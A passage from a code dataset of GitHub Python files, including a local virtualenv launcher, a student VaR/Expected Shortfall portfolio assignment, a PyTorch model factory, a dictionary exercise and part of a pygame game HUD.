call_rembg_script_inside_py39env():\n\n venv_path = r\"C:\\Users\\blake\\Documents\\PYTHON_Scripting\\2023\\07-22-2023__Rembg_Image\\py39env\"\n activate_cmd = rf\"{venv_path}\\Scripts\\activate && py C:\\Users\\blake\\Documents\\PYTHON_Scripting\\2023\\07-22-2023__Rembg_Image\\cleanup_image.py\"\n result = subprocess.run(activate_cmd, shell=True)\n\n # Check the result\n if result.returncode == 0:\n print(\"Virtual environment activated successfully and code complete\")\n else:\n print(\"Failed to activate virtual environment.\")\n\n\n# Call the function to perform the task\nif __name__ == \"__main__\":\n call_rembg_script_inside_py39env()\n","repo_name":"BlakeXYZ/Unreal-Engine-Tools","sub_path":"_img2Decal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"72804472102","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 2 13:38:06 2021\n\n@author: MauritsOever\n\"\"\"\n\n# packages \n# set directory...\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.stats import norm\nfrom scipy.stats import t\nimport statsmodels.api as sm\n#These two are for importing csv from github, will need to install requests, io is installed by default.\nimport requests\nimport io\n\n# variable specification:\nabs_weights = [40, 40, 20]\nrel_weights = [abs_weights[0]/sum(abs_weights), abs_weights[1]/sum(abs_weights), abs_weights[2]/sum(abs_weights)]\nport_value = 100000000\n\n\n##import data.\n#Pull csv from GitHub so we dont have to keep changing directories and file paths.\nNikurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/NIKKEI_225.csv\"\nNikdownload = requests.get(Nikurl).content\nnikkei = pd.read_csv(io.StringIO(Nikdownload.decode('utf-8')))\n\nJSEurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/JSE_TOP40.csv\"\nJSEdownload = requests.get(JSEurl).content\njse = pd.read_csv(io.StringIO(JSEdownload.decode('utf-8')))\n\nAEXurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/AEX.csv\"\nAEXdownload = requests.get(AEXurl).content\naex = pd.read_csv(io.StringIO(AEXdownload.decode('utf-8')))\n\nLIBurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/EUR3MTD156N_YMD.csv\"\nLIBdownload = requests.get(LIBurl).content\nEUR_Libor = pd.read_csv(io.StringIO(LIBdownload.decode('utf-8')))\n\n#FX rates.\nEYurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/EUR_YEN.csv\"\nEYdownload = requests.get(EYurl).content\neuryen = pd.read_csv(io.StringIO(EYdownload.decode('utf-8')))\n\nEZurl = \"https://github.com/EarlGreyIsBae/QFRM/raw/main/Data/EUR_ZAR.csv\"\nEZdownload = requests.get(EZurl).content\neurzar = pd.read_csv(io.StringIO(EZdownload.decode('utf-8')))\n\n#jse['Last'] = pd.to_numeric(jse['Last'])\n# debt:\n\n# change dates to datetime, trim and set datetime as index:\nnikkei['Date'] = pd.to_datetime(nikkei['Date'])\njse['Date'] = pd.to_datetime(jse['Date'])\naex['Date'] = pd.to_datetime(aex['Date'])\n# nikkei['Date2'] = nikkei['Date']\n# jse['Date2'] = jse['Date']\n# aex['Date2'] = aex['Date']\neuryen['Date'] = pd.to_datetime(euryen['Date'])\neurzar['Date'] = pd.to_datetime(eurzar['Date'])\neuryen.set_index('Date', inplace=True)\neurzar.set_index('Date', inplace=True)\n\ndates = pd.date_range(start = \"2011-03-01\", end = \"2021-03-01\", freq=\"D\")\n#nikkei['Date']\n\nnikkei.set_index('Date', inplace=True)\njse.set_index('Date', inplace=True)\naex.set_index('Date', inplace=True)\n\n#Change libor data date format to match others for merge later.\nEUR_Libor['Date'] = pd.to_datetime(EUR_Libor['Date'], format = \"%Y/%m/%d %H:%M:%S\")\nEUR_Libor.set_index('Date', inplace = True)\n\n#Rename column to something more self-explanatory.\nEUR_Libor = EUR_Libor.rename(columns = {'EUR3MTD156N': '3M_EUR_Libor'})\n\n#Change to numeric, was importing as a string.\nEUR_Libor['3M_EUR_Libor'] = (pd.to_numeric(EUR_Libor['3M_EUR_Libor'], errors='coerce'))/100 #Was in percent.\n\n\n#Function to replace '.' observations with average of previous and subsequent observations.\nEUR_Libor['3M_EUR_Libor'] = EUR_Libor['3M_EUR_Libor'].interpolate(method = 'linear', axis = 0)\n\n\n\n# create new master df with all mfing uuuuhhh price series...\ndf = pd.DataFrame()\ndf['Date'] = dates\ndf.set_index('Date', inplace=True)\n\n#Merge all dataframes together.\ndf = pd.merge(df, nikkei['Price'], left_index = True, right_index = True)#Price :10754\ndf = pd.merge(df, jse['Last'], left_index = True, right_index = True)#Last\ndf = pd.merge(df, aex['Price'], left_index = True, right_index = True)# Price_y\ndf = pd.merge(df, EUR_Libor, left_index = True, right_index = True)# 3M_EUR_Libor\ndf = pd.merge(df, euryen['Bid'], left_index = True, right_index = True)#\ndf = pd.merge(df, eurzar['Bid'], left_index = True, right_index = True)#\n\n#Change column names to distinguish between bid prices.\ndf = df.rename(columns = {'Price_x': 'nikkei'})\ndf = df.rename(columns = {'Last': 'jse'})\ndf = df.rename(columns = {'Price_y': 'aex'})\ndf = df.rename(columns = {'3M_EUR_Libor': 'libor'})\ndf = df.rename(columns = {'Bid_x': 'euryen_bid'})\ndf = df.rename(columns = {'Bid_y': 'eurzar_bid'})\n\n#Fill in missing values.\ndf = df.ffill(axis=0)\n\n\n\n#Get foreign prices in euros.\ndf['jse_eur'] = df['jse'] * df['eurzar_bid']\ndf['nikkei_eur'] = df['nikkei'] * df['euryen_bid']\ndf['jse_ret'] = np.log(df.jse_eur) - np.log(df.jse_eur.shift(1))\ndf['nikkei_ret'] = np.log(df.nikkei_eur) - np.log(df.nikkei_eur.shift(1))\ndf['aex_ret'] = np.log(df.aex) - np.log(df.aex.shift(1))\n\n\n\n\"\"\"\nRebalancing Code:\n----------------\n100m euros:\n 50m cash\n 50m debt\nWeights: Relative\n 40% AEX\n 40% Nikkei\n 20% JSE\n \n\"\"\"\ninitial_val = 100000000\ndebt_weight = 0.5\ndebt_val = initial_val * debt_weight\naex_weight = 0.4\nnikkei_weight = 0.4\njse_weight = 0.2\n\n##Add debt into df.\n\n#Change in euro libor rate.\ndf['libor_change'] = df.libor - df.libor.shift(1)\n\n#Calculate losses due to changes in libor rate.\n#df['debt_return'] =\n\n\n#Create dataframe to store data used for rebalancing calculations.\ndf_re = pd.DataFrame({'aex_units': np.zeros(np.shape(df)[0] + 1),\n 'nikkei_units': np.zeros(np.shape(df)[0] + 1),\n 'jse_units': np.zeros(np.shape(df)[0] + 1),\n 'aex_pos_val': np.zeros(np.shape(df)[0] + 1),\n 'nikkei_pos_val': np.zeros(np.shape(df)[0] + 1),\n 'jse_pos_val': np.zeros(np.shape(df)[0] + 1),\n 'equity_val': np.zeros(np.shape(df)[0] + 1)})\n\n#Variables to reference units, position, price columns and weights.\nunits = ['aex_units', 'nikkei_units', 'jse_units']\nposition = ['aex_pos_val', 'nikkei_pos_val', 'jse_pos_value']\nweights = np.array([0.4, 0.4, 0.2])\nprices = ['aex', 'nikkei_eur', 'jse_eur']\n\n#Set up initial portfolio positions.\ndf_re.loc[0: 1, 'aex_units'] = initial_val * aex_weight / df['aex'][0]\ndf_re.loc[0, 'aex_pos_val'] = aex_weight * initial_val\n\ndf_re.loc[0: 1, 'nikkei_units'] = initial_val * nikkei_weight / df['nikkei_eur'][0]\ndf_re.loc[0, 'nikkei_pos_val'] = nikkei_weight * initial_val\n\ndf_re.loc[0: 1, 'jse_units'] = initial_val * jse_weight / df['jse_eur'][0]\ndf_re.loc[0, 'jse_pos_val'] = jse_weight * initial_val\n\ndf_re.loc[0, 'equity_val'] = np.sum(df_re.iloc[0, 3:6])\n\n####Rebalancing loop.\n\nfor i in range(1, np.shape(df_re)[0] - 1):\n#Calculate position values.\n df_re.loc[i, 'aex_pos_val'] = df['aex'][i] * df_re['aex_units'][i]\n df_re.loc[i, 'nikkei_pos_val'] = df['nikkei_eur'][i] * df_re['nikkei_units'][i]\n df_re.loc[i, 'jse_pos_val'] = df['jse_eur'][i] * df_re['jse_units'][i]\n\n df_re.loc[i, 'equity_val'] = np.sum(df_re.iloc[i, 3:6])\n\n###Calculate new unit numbers due to rebalancing.\n\n #Calculate new number of units by dividing previous weight of previous portfolio value by new price.\n df_re.loc[i + 1, 'aex_units'] = df_re.loc[i, 'equity_val'] * aex_weight / df['aex'][i]\n df_re.loc[i + 1, 'nikkei_units'] = df_re.loc[i, 'equity_val'] * nikkei_weight / df['nikkei_eur'][i]\n df_re.loc[i + 1, 'jse_units'] = df_re.loc[i, 'equity_val'] * jse_weight / df['jse_eur'][i]\n\n#Not ideal, but I had to do the last line this way to get it to work.\ndf_re.iloc[-1, df_re.columns.get_loc('aex_pos_val')] = df.aex.iloc[-1] * df_re.aex_units.iloc[-1]\ndf_re.iloc[-1, df_re.columns.get_loc('nikkei_pos_val')] = df.nikkei_eur.iloc[-1] * df_re.nikkei_units.iloc[-1]\ndf_re.iloc[-1, df_re.columns.get_loc('jse_pos_val')] = df.jse_eur.iloc[-1] * df_re.jse_units.iloc[-1]\n\nindex_aex = df_re.columns.get_loc('aex_pos_val')\nindex_nikkei = df_re.columns.get_loc('nikkei_pos_val')\nindex_jse = df_re.columns.get_loc('jse_pos_val')\n\ndf_re.iloc[-1, -1] = np.sum(df_re.iloc[-1, [index_aex, index_nikkei, index_jse]])\n\n#Add equity_val to df. First line exluded because used as a starting point for positons.\ndf['equity_val'] = np.array(df_re.loc[1:, 'equity_val'])\n\n#Calculate equity returns.\ndf['equity_ret'] = np.log(df.equity_val) - np.log(df.equity_val.shift(1))\ndf_re['equity_ret'] = np.log(df_re.equity_val) - np.log(df_re.equity_val.shift(1))\n\n\n\"\"\"\nEnd of rebalancing code/data is done for now\n\"\"\"\n\n\n\n\"\"\"\n###############################################################################\n# actual assignment part\n###############################################################################\n\"\"\"\n\"\"\"\ndef ST_VAR_ES(nu, SD_port):\n sigma = SD_port / np.sqrt(nu/(nu-2))\n VaR975 = (average_port_ret + t.ppf(0.025, nu, 0, 1)*sigma)*port_value*-1\n VaR990 = (average_port_ret + t.ppf(0.01, nu, 0, 1)*sigma)*port_value*-1\n \n frac11 = (nu+(t.ppf(0.025, nu, 0, 1))**2)/(nu-1)\n frac12 = t.pdf(t.ppf(0.025, nu, 0, 1), nu, 0, 1)/(0.025)\n ES975 = (average_port_ret - sigma*frac11*frac12)*port_value*-1\n \n frac21 = (nu+(t.ppf(0.01, nu, 0, 1))**2)/(nu-1)\n frac22 = t.pdf(t.ppf(0.01, nu, 0, 1), nu, 0, 1)/(0.01)\n ES990 = (average_port_ret - sigma*frac21*frac22)*port_value*-1\n\n print('97.5% VaR is', VaR975)\n print('99.0% VaR is', VaR990)\n print('')\n print('97.5% ES is', ES975)\n print('99.0% ES is', ES990)\n print('')\n print('')\n \n return\n\ndf = df.iloc[1:]\naverage_port_ret = np.mean(rel_weights[0]*df.nikkei_ret + rel_weights[1]*df.aex_ret + rel_weights[2]*df.jse_ret)\n\n# var-covar on multivariate normal dist:\nwvol_n = rel_weights[0]**2 * np.std(df.nikkei_ret)**2\nwvol_j = rel_weights[1]**2 * np.std(df.jse_ret)**2 \nwvol_a = rel_weights[2]**2 * np.std(df.aex_ret)**2 \n\n\nwcov_nj = 2*rel_weights[0]*rel_weights[1]*np.cov(df.nikkei_ret, df.jse_ret)[0,1]\nwcov_na = 2*rel_weights[0]*rel_weights[2]*np.cov(df.nikkei_ret, df.aex_ret)[0,1]\nwcov_ja = 2*rel_weights[1]*rel_weights[2]*np.cov(df.jse_ret, df.aex_ret)[0,1]\n\n# get portfolio vol, to get VaR:\n# vol_port = np.sqrt(wvol_a + wvol_j + wvol_n + wcov_nj + wcov_na + wcov_ja)\nvol_port = np.sqrt(np.std(df_re.equity_ret[1:]))\n\n# normal VaRs \nprint('Assuming rets are normal:')\nprint('97.5% VaR is', (average_port_ret-1.96*vol_port)*port_value*-1) # 1,884,792\nprint('99.0% VaR is', (average_port_ret -2.36*vol_port)*port_value*-1) #2,274,832\nprint('')\n# normal ES's\n# ES formula = pdf(cdfinv(alpha))/(alpha) * sigma\n\nprint('97.5% ES is', (average_port_ret*-1 + norm.pdf(norm.ppf(0.025))/(0.025) * vol_port) * port_value)\nprint('99.0% ES is', (average_port_ret*-1 + norm.pdf(norm.ppf(0.01))/(0.01) * vol_port) * port_value)\nprint('')\n\n# now for student t holmes:\n\nfor i in [3,4,5,6]:\n print('If nu =', i)\n ST_VAR_ES(i, vol_port)\n\n# get QQ-plot to compare to normal dist -- obviously fat fails...\nsm.qqplot(df_re['equity_ret']/np.std(df_re['equity_ret']), line='45')\n\"\"\"\n# make var covar function that puts out VaR and ES, after whatever thing you put out\ndef VAR_COVAR(logrets, assetvalues, start, stop, alpha, dist, nu):\n # assume start, stop are index values, the rest is obvi\n # fill in alpha as 0.025 or 0.01, log rets are not multiplied by -1 yet\n rets = logrets.iloc[start:stop,:]\n assetvalues = assetvalues.iloc[start:stop,:]\n \n # get port std dev\n rel_weights = np.array([0.6,0.6,0.3,-0.5])\n wvol1 = rel_weights[0]**2*np.std(rets.iloc[:,0])\n wvol2 = rel_weights[1]**2*np.std(rets.iloc[:,1])\n wvol3 = rel_weights[2]**2*np.std(rets.iloc[:,2])\n wvol4 = rel_weights[3]**2*np.std(rets.iloc[:,3])\n \n wcov_jn = 2*rel_weights[0]*rel_weights[1]*np.cov(rets.iloc[:,0], rets.iloc[:,1])[0,1]\n wcov_ja = 2*rel_weights[0]*rel_weights[2]*np.cov(rets.iloc[:,0], rets.iloc[:,2])[0,1]\n wcov_na = 2*rel_weights[1]*rel_weights[2]*np.cov(rets.iloc[:,1], rets.iloc[:,2])[0,1]\n wcov_jl = 2*rel_weights[0]*rel_weights[3]*np.cov(rets.iloc[:,0], rets.iloc[:,3])[0,1]\n wcov_al = 2*rel_weights[1]*rel_weights[3]*np.cov(rets.iloc[:,1], rets.iloc[:,3])[0,1]\n wcov_nl = 2*rel_weights[2]*rel_weights[3]*np.cov(rets.iloc[:,2], rets.iloc[:,3])[0,1]\n \n vol_port = np.sqrt(wvol1 + wvol2 + wvol3 + wvol4 + wcov_jn + wcov_ja + wcov_na + wcov_jl+ wcov_al+ wcov_nl)\n \n avgret_port=0\n for i in range(len(rets.columns)):\n rets.iloc[:,i] *= rel_weights[i]\n avgret_port += np.mean(rets.iloc[:,i])\n \n port_value = 100000000\n \n if dist=='normal':\n VaR = (avgret_port + norm.ppf(alpha)*vol_port)*port_value*-1\n ES = (avgret_port - norm.pdf(norm.ppf(alpha))/(alpha) * vol_port) * port_value*-1\n elif dist=='student':\n sigma = vol_port #/ np.sqrt(nu/(nu-2))\n VaR = (avgret_port + t.ppf(alpha, nu, 0, 1)*sigma)*port_value*-1\n \n frac11 = (nu+(t.ppf(alpha, nu, 0, 1))**2)/(nu-1)\n frac12 = t.pdf(t.ppf(alpha, nu, 0, 1), nu, 0, 1)/(alpha)\n ES = (avgret_port - sigma*frac11*frac12)*port_value*-1\n \n \n print(avgret_port)\n #print(vol_port)\n # then get VAR and ESs based on alpha xddddd\n return VaR, ES\n\n\n\ndef CCC(df, alpha, dist, DoF, VaRES):\n\n#Multiplied all returns by 100 due to errors form GARCH function.\n #Fit AEX GARCH model.\n \n\n #Pull variance forecasts out of lists.\n aex_var = np.std(df['aex_ret'])**2\n nikkei_var = np.std(df['nikkei_ret'])**2\n jse_var = np.std(df['jse_ret'])**2\n libor_var = np.std(df['libor_change'])**2\n \n #Store asset variances.\n asset_var = np.array([aex_var, nikkei_var, jse_var, libor_var])\n\n\n #Create correlation matrix which will be held constant.\n #df['port_var'] = np.zeros(len(df['aex_ret']))\n port_corr = np.array(df[['aex_ret', 'nikkei_ret', 'jse_ret', 'libor']].corr())\n weights = np.array([0.6, 0.6, 0.3, -0.5])\n\n #Create covariance matrix to fill.\n port_covar = np.zeros((4,4))\n for j in range(0, 3):\n for i in range(0, 3):\n port_covar[i, j] = port_corr[i,j] * asset_var[i] * asset_var[j]\n\n #Calculate portfolio variance.\n portvar = np.dot(weights.T, np.dot(port_covar, weights))\n\n mean_rets = np.array(df[['aex_ret', 'nikkei_ret', 'jse_ret', 'libor']].dropna().mean(axis=0))\n port_ret = np.dot(mean_rets, weights)\n port_vol = np.sqrt(portvar)\n\n # VaR normal or student-t.\n value_port = 100_000_000\n if (dist == 'normal'):\n VaR = (port_ret - norm.ppf(alpha) * port_vol) * value_port * -1\n elif(dist == 'student-t'):\n VaR = (port_ret - t.ppf(alpha, DoF) * port_vol) * value_port * -1\n\n if (dist == 'normal'):\n ES = (port_ret - norm.pdf(norm.ppf((1-alpha))/(1-alpha) * port_vol) * value_port*-1)\n\n elif(dist == 'student-t'):\n frac11 = (DoF + (t.ppf((1- alpha), DoF))** 2) / (DoF - 1)\n\n frac12 = t.pdf(t.ppf((1- alpha), DoF), DoF, 0, 1) / (alpha)\n\n ES = (port_ret - port_vol * frac11 * frac12) * value_port * -1\n\n if VaRES == 'VaR':\n return (VaR)\n\n elif VaRES == 'ES':\n return (ES)\n\n\n\n\n\nprint(CCC(df.iloc[300:600,:], 0.99, 'student-t', 3.5, 'VaR'))\nprint(CCC(df.iloc[300:600,:], 0.99, 'student-t', 3.5, 'ES'))\n\n\n\nurl = \"https://raw.githubusercontent.com/EarlGreyIsBae/QFRM/absolute_weights_df/Data/loss_df.csv\"\ndownload = requests.get(url).content\ndf2 = pd.read_csv(io.StringIO(download.decode('utf-8')))\n\n#df = pd.read_csv(r'C:\\Users\\gebruiker\\Desktop\\VU\\Master\\QFRM\\var_es975CCCn.csv', index_col=0)\n#df = pd.read_csv(r'C:\\Users\\gebruiker\\Desktop\\VU\\Master\\QFRM\\var_es975CCCt.csv', index_col=0)\n#df = pd.read_csv(r'C:\\Users\\gebruiker\\Desktop\\VU\\Master\\QFRM\\var_es99CCCn.csv', index_col=0)\ndf = pd.read_csv(r'C:\\Users\\gebruiker\\Desktop\\VU\\Master\\QFRM\\var_es99CCCt.csv', index_col=0)\n\ndf.iloc[:,2] = np.array(df2.iloc[250:,13])\nwindow = 250\n\n\nindex = pd.to_datetime(df2.iloc[251:, 0])\nplt.plot(index, np.array(df.iloc[1:, 0]), label = '97.5% VaR')\nplt.plot(index, np.array(df.iloc[1:, 1]), label = '97.5% ES')\nplt.plot(index, np.array(df.iloc[1:, 2]), alpha = 0.5, label = 'Returns')\nplt.ylabel('Losses (Euros)')\nplt.xlabel('Date')\nplt.legend()\nplt.show()\n\ndf['diff'] = df.iloc[:,0] - df.iloc[:,2]\n\ncounter =0\nfor i in range(len(df)):\n if df.iloc[i,3]<0:\n counter +=1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# =============================================================================\n# # 10 day - VaR, ES \n# nan_vec = np.full([len(logrets),1], np.nan)\n# logrets['jse10'] = nan_vec\n# logrets['nik10'] = nan_vec\n# logrets['aex10'] = nan_vec\n# logrets['lib10'] = nan_vec\n# \n# logrets['jse5'] = nan_vec\n# logrets['nik5'] = nan_vec\n# logrets['aex5'] = nan_vec\n# logrets['lib5'] = nan_vec \n# \n# d10rets = logrets[['jse10', 'nik10', 'aex10', 'lib10']]\n# d5rets = logrets[['jse5', 'nik5', 'aex5', 'lib5']]\n# \n# =============================================================================\n \n \n","repo_name":"c0nn0rstevens/QFRM","sub_path":"Assignment 3/arbitraire_naam.py","file_name":"arbitraire_naam.py","file_ext":"py","file_size_in_byte":16514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28551052863","text":"from black import out\nimport torch.nn as nn\nfrom torchvision.models.resnet import resnet50\nfrom models.LMM import LMM\n\n\nclass PlanningNet():\n def __init__(\n self,\n model_arch: str,\n input_channels: int,\n predict_frames: int,\n pretrained: bool,\n ):\n self.model_arch = model_arch\n self.input_channels = input_channels\n self.predict_frames = predict_frames\n self.pretrained = pretrained\n def get_model(self):\n if self.model_arch == 'resnet_50':\n model = resnet50(pretrained=self.pretrained)\n model.fc = nn.Linear(in_features=2048, out_features=3*self.predict_frames)\n return model\n elif self.model_arch == 'efficient_net_b3':\n return LMM(input_channels=3, output_channels=3*self.predict_frames)","repo_name":"dougefla/l5kit_fork","sub_path":"examples/learn/models/PlanningNet.py","file_name":"PlanningNet.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14120332661","text":"from collections import defaultdict\n\nstring = 'hello komal kow kour python coding practice is going on?'\n\nwords = string.split() #['Hello', 'Komal', 'how', 'your', 'python', 'coding', 'practice', 'is', 'going', 'on?']\n\nd = {}\n\nfor word in words:\n if word[0] not in words:\n d[word[0]] = [word]\n else:\n d[word[0]] += [word]\n\n#O/p-\n#{'H': ['Hello'], 'K': ['Komal'], 'h': ['how'], 'y': ['your'], 'p': ['practice'], 'c': ['coding'], 'i': ['is'], 'g': ['going'], 'o': ['on?']}\n \n#*******************************************************************************************************************************************\n#Using defaultdict\n\nsentence = 'hello komal kow kour python coding practice is going on?'\ndd = defaultdict(list)\nwords = sentence.split()\nfor word in words:\n dd[word[0]].append(word)\nprint(dd)\n\n#O/p-\n#defaultdict(, {'h': ['hello'], 'k': ['komal', 'kow', 'kour'], 'p': ['python', 'practice'], 'c': ['coding'], 'i': ['is'], 'g': ['going'], 'o': ['on?']})\n","repo_name":"KomalAwati/All_files_python_class","sub_path":"PROGRAMMING/PROGRAMMING PRACTICE FROM SCRATCH/2.dict of first char and the word.py","file_name":"2.dict of first char and the word.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26441734967","text":"\"\"\"Contains many on-screen compound elements that make up the HUD.\"\"\"\n\nfrom typing import TYPE_CHECKING\nfrom pkg_resources import to_filename\n\nimport pygame\nimport pygame.font\nimport pygame.image\nimport pygame.sprite\nimport pygame.transform\nfrom itblib.Vec import IVector2\nfrom itblib.components import TransformComponent\nfrom itblib.Game import Session\nfrom itblib.globals.Colors import (BLACK, DARK_GRAY, GRAY_ACCENT_DARK,\n GRAY_ACCENT_LIGHT, IMAGE_BACKGROUND,\n PHASECOLORS, WHITE)\nfrom itblib.globals.Constants import (HUD, PHASE_DURATIONS, PREVIEWS,\n STANDARD_TILE_SIZE, STANDARD_UNIT_SIZE)\nfrom itblib.gridelements.TilesUI import TileBaseUI\nfrom itblib.gridelements.world_effects import EffectStartingArea\nfrom itblib.input.Input import InputAcceptor\nfrom itblib.Log import log\nfrom itblib.net.NetEvents import NetEvents\nfrom itblib.ui.animations import Animation\nfrom itblib.ui.animations import PlayerVersusAnimation\nfrom itblib.ui.GridUI import GridUI\nfrom itblib.ui.hud.ability_preview_display import AbilityPreviewDisplay\nfrom itblib.ui.IGraphics import IGraphics\nfrom itblib.ui.TextureManager import Textures\nfrom itblib.ui.widgets.layout import HorizontalLayoutSurface\nfrom itblib.ui.widgets.ui_widget import TextBox, Widget\n\nif TYPE_CHECKING:\n from typing import Generator\n\n from itblib.gridelements.ui_effect import EffectBaseUI\n from itblib.gridelements.units.UnitBase import UnitBase\n from itblib.gridelements.UnitsUI import UnitBaseUI\n from itblib.abilities.ui_abilities import AbilityBaseUI\n\n\nclass Hud(IGraphics, InputAcceptor):\n \"\"\"\n The HUD is used to display most information, like a unit's HP, abilities, cooldowns,\n the tile it is on, it's effects, etc.\n \"\"\"\n\n def __init__(self, size: IVector2, gridui: GridUI, playerid: int, session: Session):\n IGraphics.__init__(self)\n InputAcceptor.__init__(self)\n self.rect = pygame.Rect(0,0,*size)\n self.selected_unit: \"UnitBase|None\" = None\n self.selected_unitui: \"UnitBaseUI|None\" = None\n self.gridui = gridui\n self.gridui.phase_change_callback = self.update_phase\n self.font = pygame.font.Font('HighOneMono.ttf', 32)\n self._cursorgridpos = IVector2(0, 0)\n self._cursorscreenpos = IVector2(0, 0)\n self.displayscale = 2\n self._unitdisplay = UnitDisplay()\n self._tiledisplay = TileDisplay()\n self.abilitydisplay = AbilityDisplay()\n self.register_input_listeners(self._tiledisplay)\n self._ability_preview_display = AbilityPreviewDisplay(gridui)\n self._unitdisplay.rect.topleft = (self.rect.width - HUD.ELEM_WIDTH, 0)\n self.playerid = playerid\n self.session = session\n self.blits: \"list[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\" = []\n self.owner_blits: \"list[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\" = []\n self.cursor_blit = None\n\n def update_phase(self, newphase:int):\n if newphase == 1:\n self.selected_unit = None\n self._unitdisplay.set_displayunit(self.selected_unitui)\n\n #pylint: disable=missing-function-docstring\n def handle_key_event(self, event) -> bool:\n if self.selected_unit and self.selected_unit.handle_key_event(event):\n return True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n self.targetconfirm(self._cursorgridpos)\n return True\n if event.key == pygame.K_SPACE:\n self.select_unit(self.gridui.grid.get_unit(self._cursorgridpos))\n return True\n if event.key == pygame.K_ESCAPE:\n if self.selected_unit:\n self.select_unit(None)\n return True\n else:\n NetEvents.snd_netplayerleave(self.playerid)\n return True\n return super().handle_key_event(event)\n\n def select_unit(self, unit:\"UnitBase|None\"):\n \"\"\"\n Mark a unit as selected, displaying it's stats in greater detail and allowing ability use.\n \"\"\"\n if unit != self.selected_unit:\n if self.selected_unit:\n self.selected_unit.ability_component.on_deselect()\n if unit:\n if unit.ownerid == self.playerid:\n self.selected_unit = unit\n self.selected_unitui = self.gridui.get_unitui(self._cursorgridpos)\n unit.ability_component.on_select()\n else:\n self.selected_unit = None\n\n def targetconfirm(self, position:\"tuple[int,int]\"):\n \"\"\"\n Forward the position of the selected target to the selected unit's hooks or spawn a unit.\n \"\"\"\n player = self.session.get_player(self.playerid)\n if self.gridui.grid.phase == 0 and len(player.initialunitids) > 0 and\\\n self.gridui.grid.is_space_empty(False, position):\n for effect in self.gridui.grid.get_worldeffects(position):\n if isinstance(effect, EffectStartingArea) and effect.ownerid == self.playerid:\n unit_id = player.initialunitids.pop(0)\n self.gridui.grid.request_add_unit(position, unit_id, self.playerid)\n elif self.selected_unit:\n self.selected_unit.ability_component.on_confirm_target(position)\n self._unitdisplay.set_displayunit(self.selected_unitui)\n\n def activate_ability(self, slot:int):\n \"\"\"Activate the ability with the according number, and deselect all others.\"\"\"\n if self.selected_unit and self.gridui.grid.phase == 1:\n self.selected_unit.ability_component.on_deselect()\n self.selected_unit.ability_component.on_activate_ability(slot-1)\n self._unitdisplay.set_displayunit(self.selected_unitui)\n\n def get_unit_ability_preview_blits(self):\n \"\"\"Retrieve ability previews blits of a unit, e.g. movement and targeting info.\"\"\"\n for unit in self.gridui.grid.units:\n if unit:\n self._ability_preview_display.unit = unit\n yield from self._ability_preview_display.get_blits()\n\n def _get_phase_timer_blit(self):\n maxphasetime = PHASE_DURATIONS.DURATIONS[self.gridui.grid.phase]\n currentphasetime = self.gridui.grid.phasetime\n formatted_time = str(round(max(0.0,maxphasetime-currentphasetime), 1)).zfill(4)\n timer_surface = self.font.render(formatted_time, True, WHITE, DARK_GRAY).convert()\n t_x, t_y = timer_surface.get_size()\n player = self.session.get_player(self.playerid)\n player_color = player.color if player else (50,50,50,255)\n phase_color = PHASECOLORS[self.gridui.grid.phase]\n pygame.draw.line(timer_surface, player_color, (0, 0), (t_x, 0), 1)\n pygame.draw.line(timer_surface, BLACK, (0, 1), (t_x, 1), 2)\n pygame.draw.line(timer_surface, BLACK, (0, t_y-3), (t_x, t_y-3), 2)\n pygame.draw.line(timer_surface, phase_color, (0, t_y-1), (t_x, t_y-1), 1)\n timer_pos = ((self.rect.width - t_x)/2, 10)\n yield (timer_surface, pygame.Rect(*timer_pos, t_x, t_y), pygame.Rect(0,0,t_x-2,t_y))\n\n def player_won(self, playerid:int):\n if self.playerid == playerid:\n log(\"\\nI Won!\\n\", 2)\n else:\n log(\"\\nI Lost!\\n\", 2)\n\n def _update_display_unit_if_necessary(self):\n grid_unit = self.gridui.get_unitui(self._cursorgridpos)\n display_unit = self._unitdisplay.displayunitui\n if grid_unit is not display_unit:\n self._unitdisplay.set_displayunit(grid_unit)\n\n def update_cursor(self, position: \"IVector2|None\" = None):\n \"\"\"Forward the new cursor position to a unit's according hooks\"\"\"\n assert isinstance(position, (IVector2, type(None))), \"Only IVector2 or None allowed, got: %s\" % type(position)\n position = position if position else self._cursorgridpos\n self._tiledisplay.tile = self.gridui.get_tileui(position)\n self._tiledisplay.effects = self.gridui.get_tile_effectsui(position)\n self._unitdisplay.set_displayunit(self.gridui.get_unitui(position))\n self._cursorgridpos = position\n self._cursorscreenpos = self.gridui.transform_grid_screen(position)\n if self.cursor_blit:\n self.blits.remove(self.cursor_blit)\n cursor_spritesheet = Textures.get_spritesheet(PREVIEWS[0])\n if cursor_spritesheet:\n self.cursor_blit = (\n cursor_spritesheet[0],\n pygame.Rect(*self._cursorscreenpos,64,64),\n pygame.Rect(0, 0, 64, 64)\n )\n self.blits.append(self.cursor_blit)\n if self.selected_unit:\n self.selected_unit.ability_component.on_update_cursor(position)\n\n def on_start_game(self):\n p_1, p_2 = self.session._players.values()\n self.abilitydisplay.play_simple_anim(PlayerVersusAnimation(p_1, p_2, *self.rect.size))\n\n def get_blits(self) -> \"Generator[tuple[pygame.Surface, pygame.Rect, pygame.Rect]]\":\n yield from self.blits\n yield from self._get_phase_timer_blit()\n yield from self._tiledisplay.get_blits()\n yield from self._unitdisplay.get_blits()\n yield from self.get_unit_ability_preview_blits()\n yield from self.abilitydisplay.get_blits()\n\n def update(self, delta_time: float) -> None:\n 